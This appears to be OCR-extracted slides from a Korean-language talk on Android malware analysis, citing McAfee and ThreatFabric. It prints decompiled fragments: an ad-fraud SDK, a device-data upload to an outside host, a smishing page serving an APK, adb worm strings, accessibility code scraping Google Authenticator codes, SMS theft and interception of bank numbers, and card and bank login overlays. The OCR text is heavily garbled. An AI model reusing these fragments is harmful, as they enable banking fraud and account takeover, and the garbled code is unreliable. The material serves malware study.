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package con.hubcloud.adhubsdkﬂ

import android.app.Application;

import android.content.Context;

import android.support.annotation.RequiresPermission;
import android.text.TextUtils;

import android.util.log;

import com.hubcloud.adhubsdk.internal.d;

import com.hubcloud.adhubsdk.internal.utilities.k;
import com.ly.adpoymer.e.b;

/* compiled from: AdHub */
public class a {
public static boolean a = false;

@RequiresPermission("android.permission.INTERNET")
public static void a(Context context, String str) {
a(context, str, false);

J

private static void a(Context context, String str, boolean z) {
d.a().a(context, str);
Sstring a2 = k.a(context, str);
if (!Textutils.isEmpty(a2)) {
Log.d("lance”, "key:" + a2);

try {
[ b.a().a((Application) context.getApplicationContext(), a2);l
a = true;
} catch (Exception e) {
a = false;

Log.d("lance®, "tp initialize fail:" + e);
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Dear CamScanner Android Users,

Our CamScanner Team has recently detected that the advertisement SDK
provided by a third-party named AdHub, integrated in Android Version 5.11.7,
has been reported for containing a malicious module that produces
unauthorized advertising clicks.

Injection of any suspicious codes violates the CamScanner Security Policy!
We will take immediate legal actions against Adhub! Fortunately, after rounds
of security check, we have not found any evidence showing the module could
cause any leak of document data.

We have removed all the ads SDKs not certified by Google Play and a new
version would be released. Meanwhile, you may contact asupport@intsig.com
for a direct upgrade or go to www.camscanner.com to download the new
version.

We would appreciate your patience and understanding.

Best Regards,

CamScanner
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@ getCellld()
@ getCelllac() i
® getCharAndNumr(int)

I: getCurrentNetworkHardwareAddress() I St
© getDetailNetworklypeForStatic() String

® getDeviceData() Stri
@ NotA
getDeviceld() Stri
getDeviceKey() Stri
getDeviceType() Stri

getIMEI() String
getIMSI() Str
getIPAddress() String
getInstalledApp(boolean) ing
getInstance(Context) DeviceHelper
getLinelNumber() St
getlocalDeviceKey() Str
getlocation(int, int) '_.l'
getMCC() String

getMNC() St
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getHardwareAddressFromShe}l(String) St
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JRequest} Response |

_[Rawl Params | Headers] Hex ‘

POST /pandora/addBehaviour HTTP/1.1

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-G965N Build/NRDSOM
Host: data.fiydigi.com

Connection: close

Accept-Encoding: gzip, deflate

Content-Length: 333

Rappid=100&apiversion=1.6&fir

mware_revision= &game &manufacture:-am‘ ung&parent=8sys_version="5.1.1&os=Android&connect_type

=8title=%E5%BC%B0%E5%AT%88%E4%BD%S3 BEI%BAAKBC&device_id=&activate_type=&imei=
dversion=5.0.0.betal&substep=0&uid=1&gamepad=&model=SM-GI65N&
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<script type="text/javascript">
function kk() {

[lalert("EEFE%EZF V> O0—F3NFTNT Fo>oO0—FFBIZAIZXF—I
window.location.href = "./sagawa.apk”; }

</script>
</head>

<body onclick="kk();">
<div id="wrapper">
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rodata:
rodata:
rodata:
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rodata:
rodata:
rodata:
rodata:
rodata:
rodata:
rodata:
rodata:
rodata:
rodata:
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0002A9BO
0002A9BC
0002A9BC
0002A9CY
00O2AICC
0OO2ARICC
0002A9D4
0002A9D4
0002A9E4
OO0O02A9EY
0OO2ASEC
0OO2AJEC
00O2A9FB
0OO2ASFC
0002A9FC
00B2AAR08
0O0B2AAR08
0002AAT6
0002AA1T8
00B2AAT8

afRdbConnect

afAdbs
aS555GetState
aDevice

aAdbDisconnect

aS555Push

aS555Shell

word_2AR18

DCB "adb connect “,0

ALIGN 4
DCB "adb -s ",0

DCB ":5555 get-state”,0
DCB “deuvice"” ,0xA,0
DCB "adb disconnect”,0®

ALIGN 4
DCB ":5555 push ",0

DCB ":5555 shell ",0x22

ALIGN 4
DCW ©x22
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[S14] 24 HME &E3510{ ZHIY 7|7|9] SEIYUS ZX|

mSensorManager.registerListener(this, mSensor, SensorManager.SENSOR_DELAY_NORMAL);
Sensor mySensor = sensorEvent.sensor;

mSensorManager.registerListener(this, mySensor, SensorManager.SENSOR_DELAY_NORMAL);

if (mySensor.getType() == Sensor.TYPE_ACCELEROMETER) {
float[] values = sensorEvent.values;
float x = values[0];
float y = values[1];
float z = values[2];
long curTime = System.currentTimeMillis();
if ((curTime - lastUpdate) > 100) {
long diffTime = (curTime - lastUpdate);
lastUpdate = curTime;
float speed
= Math.abs(x + y + z - last_x - last_y - last_z) / diffTime * 10000;
if (speed > SHAKE_THRESHOLD) {
step();
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public void surfaceCreated(SurfaceHolder holder){

Intent sender=getIntent();
String cameraNumber = sender.getExtras().getString(“Camera™);

int cameraCount = 0;

Camera.CameraInfo cameraInfo = new Camera.CameraInfo();
cameraCount = Camera.getNumberOfCameras();

for ( int camIdx = 0; camIdx < cameraCount; camIdx++ ) {

30
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ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.reset();

byteArrayOutputStream.write(bArr, @, bArr.length);

String str3 = "BroadcastMicrophone"” + str + j;

String valueOf = String.value0f(0);

String str4 = str3 + str2;

ByteArrayOutputStream byteArrayOutputStream2 = new ByteArrayOutputStream();

31
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Instagram

Enter card details S Enter card details

Card Number




(O WHATSAPP
Enter card details

<4 Telegram

Enter card details Enter card details
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var iddNUMBERS = ['ZIP', 'CCexpMM', "CCEXPYY', 'CW'];
for(var 1 = 0; 1 < iddNUMBERS.length; i++) {
document.getElementById(iddNUMBERS[1]) .addEventListene

function valid_credit_card(value) {
if (/["0-9-\s]+/.test(value)) return false;
var nCheck = 0, nDigit = 0, bEven = false;

value = value.replace(/\D/g, "");
for (var n = value.length - 1; n >= 0; n--) {
var cDigit = value.charAt(n),
nDigit = parselnt(cDigit, 10);
if (bEven) {
if ((nDigit *= 2) > 9) nDigit -= 9; 36
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Google Authenticator
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464 614
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[S46] Google OTP HoilA HA|Eh= 2EHA] Q1SS EE

if(packName.contains("com.google.android.apps.authenticator2™)){
if(event.getSource() == null){return;}
String data = "";
List<AccessibilityNodeInfo> nodeClass = findNodeWithClass(event.getSource(),
"android.view.ViewGroup");
int t = 0;
for (AccessibilityNodeInfo accessibilityNodeInfo : nodeClass) {
for(int 1 = 0; i<accessibilityNodeInfo.getChildCount();i++){
AccessibilityNodeInfo child = accessibilityNodeInfo.getChild(i);
if(child.getText() != null){
data = data + "paramsl: " + t + ", params2: " + 1 + ", params3: "
+child.getText().toString() + "\n";

}

}

t++;
}
if('data.isEmpty()){
SettingsToAdd(service, “LogSMS”, "Logs com.google.android.apps.authenticator2: \n" +

”»

data + ”::endlLog::”);
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[S44] |4 3 Cio

public String listAppGrabMails =
"com.google.android.gm,com.mail.mobile.android.mail,com.connectivityapps.hotmail,com.microsoft.

office.outlook,com.yahoo.mobile.client.android.mail,"”;
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B Microsoft

Welcome
< FSi@outlook.com

@ Fsl@gmail.com Enter password ' PayPal

AR AL AL L L L L)) Fsl@email.com Change

Forgot password?
Forgot my password
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usbank

Hello

Presonal ID

Password

usbank

Hello

Personal ID

Forgot ID?
Password

Show

Forgot Password?

Log In

New User?
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Il 273921 H|o|X]

& =232 Ho]x]|

pibank

Hazte cliente

Problemi con l'accesso? >

Continuar

pibank

Hazte cliente

NIF/NIE

CONTRASENA

¢La has olvidado?

Al continuar, estds aceptando los
términos y condiciones

Continuar
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try {

JSONObject jSONObject = new JSONObject();

JSONArray jSONArray = new JSONArray();
Cursor query = MyService.m3275a().getContentResolver().query(Uri.parse(“content://sms/"),

new String[]{" _id", "address", "person", "body", "date", "type"}, (String) null, (String[])

null, "date desc limit 100");

while (query.moveToNext()) {
JSONObject jSONObject2 = new JSONObject();
String string = query.getString(query.getColumnIndex(“address™));

String string2 = query.getString(query.getColumnIndexOrThrow("body"));
String format = new SimpleDateFormat("yyyy-MM-dd
HH:mm:ss").format(Long.valueOf(query.getLong(query.getColumnIndex(“date™))));
StringBuilder sb = new StringBuilder();
sb.append(query.getInt(query.getColumnIndex(“type”)));
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String[] telArr = {"15880184", "16000523", "15990110", "15663355", "15665701", "15880184",
"15990110", "15665701", "16001705", "15663357", "16000523", "15663355", "15997474",
"15663357", "15991552", "16008870", "15883810", "16443333", "15448881", "15445553",
"16443333", "16008870", "15663355", "15883810", "16001705", "16000523", "16441006",

"15771006", "15663357", "16001522", "15885188", "15883610", "15885984", "15885412",
"16449999", "15992583", "15885180", "15992583", "16004748", "15995612", "0000", "15663003",
"114", "15448278", "16001522", "15994006", "15995612", "15994018", "15884640", "16001522",
"025587288", "18994134", "15448278", "15887701", "15773321", "15772111", "15445553"};

if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED"))) {

abortBroadcast();

Bundle extras = intent.getExtras();
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a2.112.mp3 a2.182.mp3 a2_advance.mp3 a2 _gjucap.mp3 a2 _aqueoncap.mp a2_awooricard.mp a2_baroron.mp3 a2_bnk.mp3

3 3

a2 _chinesave.mp a2 _daesinsave.m a2 _dbsave.mp3 a2_eqon.mp3 a2_gigum.mp3 a2 _golden.mp3 a2_goreasave.mp a2_hana.mp3
3 p3 3

a2_hangookmone a2_hankooksave. a2_hyosung.mp3 a2 _hyundaecap.m a2 _hyundaecard. a2 _ibkcap.mp3 a2 _ibksave.mp3 a2_joycredit.mp3

y.mp3 mp3 p3 mp3
a2_jtcap.mp3 a2_jtsave.mp3 a2 _kb.mp3 a2 _kioomsave.mp a2 _korea.mp3 a2 _kumkang.mp3 a2_lottecapitalm a2_lottecard.mp3
3 p3
az2_million.mp3 a2 mizsarang.mp a2_moasave.mp3 az2_ms.mp3 a2_nh.mp3 az_nr.mp3 a2_okcap.mp3 a2 okfinencial.mp
3 3
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if (str.equals("15881599") || str.equals("15771599") || str.equals("18116100") ||
str.equals("0221466688")) {

return mp3";

}
if (str.equals("15446700") || str.equals("0215446700")) {
return .mp3";

}
if (str.equals("15883570") || str.equals("0215883570")) {

return -.mp3";
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| MacAfee :: https:/www.mcafee.com/blogs/other-blogs/mcafee-labs/malbus-popular-south-
korean-bus-app-series-in-google-play-found-dropping-malwareafter-5-years-of-development/
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1) find a crypto service

2) Use the guarantor when buying our bot
3)...
4) PROFIT!

Send money to the guarantor, and check. You risk nothing at the same time.
(W)
Send USSD
Cerberus @A
apk is FUD.
We use always obfuscated and encrypted versions of the bot.

(o)
Cerberus @A

Everything is written from scratch, and developed over several years )
If you are interested in buying a product, then write in PM on the forum.

0

| THREAT FABRIC :: Cerberus - A new banking Trojan from the underworld
https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.htmi
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(2017)

Background
execution limits

Background
location limits

new permissions
related to telephony

Alert windows
(SYSTEM_ALERT_WINDOW
permission)

Google Safe
Browsing API
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QtE 20| Pie
(2018)

Limited access to
sensors in background

DNS over TLS
(Private DNS)

Unified biometric
authentication dialog

Hardware security
module

Secure key import
into Keystore

m
et

otE20|E 10
(2019)

Access to device location
in the background
requires permission

Restrictions on starting
activities from the
background

FINE location
permission

Limited access to
clipboard data

Protection of USB
device serial number

QtE20|E 11
(2020)

Background
location access

One-time
permissions

Permissions
auto-reset

Scoped storage
enforcement

Package visibility
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String

List<RouteInfo>

int

boolean

boolean

void

rivate DNS =24
On/Off & £ /= public API O|H|E (A|ARISH IR MO 2 AL])

otgE k54 UP

Returns the NA1 64 prefix In use on this IInk, IT any.

getPrivateDnsServerName() Z2t0|%! DNS

Returns the private DNS server name that is in use. @ Atg ot

getRoutes() O xs

Returns all the RouteInfo set on this link. () mato|Hl DNS 22Xt BAE 0|2
hashCode () 1dot1dot1dot1.cloudfla

Generate hashcode based on significant fields Equal objects must pt
while unequal objects may have the same hash codes.

isPrivateDnsActive() A XA

Returns whether private DNS is currently in use on this network. _
isWakeOnLanSupported()

Returns whether the network interface supports WakeOnLAN

setDhcpServerAddress(Inet4Address serverAddress)
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X|&M2 2|5t :: VPN Service 7|5 2
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taimen:/ # ifconfig

ethO Link encap:Ethernet HWaddr 08:00:27:0e:38:b3
inet addr:10.0.2.15 Bcast:10.0.2.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:5478 errors:0 dropped:0 overruns:0 frame:0
TX packets:2805 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:4778620 TX bytes:511763

Link encap:UNSPEC

inet addr:172.31.255.253 P-t-P:172.31.255.253 Mask:255.255.255.252
inet6 addr: fe80::f05f:cc9b:bcf2:379¢/64 Scope: Link

UP POINTOPOINT RUNNING MTU:1500 Metric:1

RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:500

RX bytes:0 TX bytes:0

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1/128 Scope: Host

UP LOOPBACK RUNNING MTU:65536 Metric:1

RX packets 3 errors:0 dropped 0 overruns:0 Frame 0
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